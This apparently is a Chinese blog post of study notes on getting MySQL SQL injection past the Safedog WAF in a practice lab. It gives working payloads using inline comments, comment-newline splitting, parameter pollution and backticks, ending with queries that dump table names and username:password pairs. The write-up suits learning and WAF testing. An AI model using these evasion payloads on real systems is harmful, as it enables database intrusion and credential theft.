• SQL注入bypass学习


    0x00 前言

    练习sql注入过程中经常会遇到一些WAF的拦截,在网上找相关文章进行学习,并通过利用安全狗来练习Mysql环境下的bypass。

    0x01 一些特殊字符

    1.注释符号

    /*!*/:内联注释,/*!12345union*/select等效union select
    
    /**/:注释符号,/*/**/等效于/**/
    
    -- +:--空格加任意字符
    
    ;%00

    2.其他符号

    %23%0a:注释换行符
    &、&&、|、||:逻辑操作符
    ``:反引号

     

    0x02 安全狗版本

    版本:网站安全狗(Apache版) 4.0.26550

     

    0x03 and绕过

    首先测试语句and 1=1拦截情况

    and        //不拦截
    and 1=1    //拦截
    and 1      //拦截
    and a      //不拦截
    and ‘a’    //拦截
    

    经测试发现and后面跟数字型或字符型时会被拦截

    绕过方法有两种

    1.使用其他字符替换and

    使用&的url编码%26替换and进行绕过

    2.使用-1=-1和-1=-2替换绕过

    可能对负数没做限制,也可能是 – 绕过了正则匹配

    and -1=-1-- +
    and -1=-2-- +

     

     

    0x04 绕过order by拦截

    order       //不拦截
    by          //不拦截
    order by    //拦截
    

    经过测试,此处有三种方法可以绕过:

    1.注释换行绕过

    order--%0aby	//拦截——了解到这是最初的姿势,不过现已经失效
    order%23%0aby	//不拦截——%23:注释符,%0a换行符
    

    2.内联注释加参数污染绕过

    order /*!by*/               拦截
    order/*!/*55555*/by*/       拦截
    order/*!/*!50553*/by*/      拦截
    order/*!/*!50553test*/by*/  不拦截但报错
    order/*!/*!50554test*/by*/  不拦截
    

    数字加字母组合可绕过,经fuzz测试,当数字大于50553时不报错

    3.hpp参数污染绕过

    在跟服务器交互的过程中,http允许 get 或者post多次传同一参数值,造成覆盖达到一些绕过waf的效果。在php/apache 中,它总解析最后一个id

    ?id=1' /*&id=1'order by 3-- +*/

    0x05 绕过union select拦截

    1.注释换行加参数污染绕过

    单纯使用注释换行符被拦截,经测试在注释符和换行符间加任意数字字母字符绕过

    union%23a%0aselect 1,2,3-- +
    

     

    2.内联注释加参数绕过

    同order by 绕过

    3.hpp参数污染绕过

    同order by 绕过

    ?id=1' /*&id='union select 1,database(),3-- +*/

     

    0x06 database()拦截绕过

    直接联合查询database()会被拦截

    1.联合查询绕过

    /*!database()*/    拦截
    database/*!()*/    不拦截
    database/*!(*/)    不拦截
    

    2.hpp参数污染的语句中直接查询

    后续查询均可使用此方法绕过

     

    0x07 查表名、列名、字段拦截绕过

    经过测试,可以使用两种方法绕过

    1.内联注释

    对table_name、column_name和字段名使用内联注释绕过限制

    union%23a%0aselect 1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema="security"-- +
    union%23a%0aselect 1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name="users"-- +
    union%23a%0aselect 1,2,group_concat(/*!username*/,":",password) from users-- +
    union%23a%0aselect 1,2,group_concat(username,":",/*!password*/) from users-- +

    2.反引号

    对information_schema使用反引号绕过

    union%23a%0aselect 1,group_concat(table_name),3 from `information_schema`.tables where table_schema="security"--+
    

  • 相关阅读:
    [多线程学习笔记]条件变量
    [多线程学习笔记]互斥量
    [多线程学习笔记]线程生命周期
    多定时器队列
    双向环形链表
    多目录,多可执行文件的Makfile的编写
    大工匠
    从零开始打造我的计算机系统【运行效果】
    从零开始打造我的计算机系统【交叉汇编器】
    C中的回调函数
  • 原文地址:https://www.cnblogs.com/Cl0wn/p/12840079.html
Copyright © 2020-2023  润新知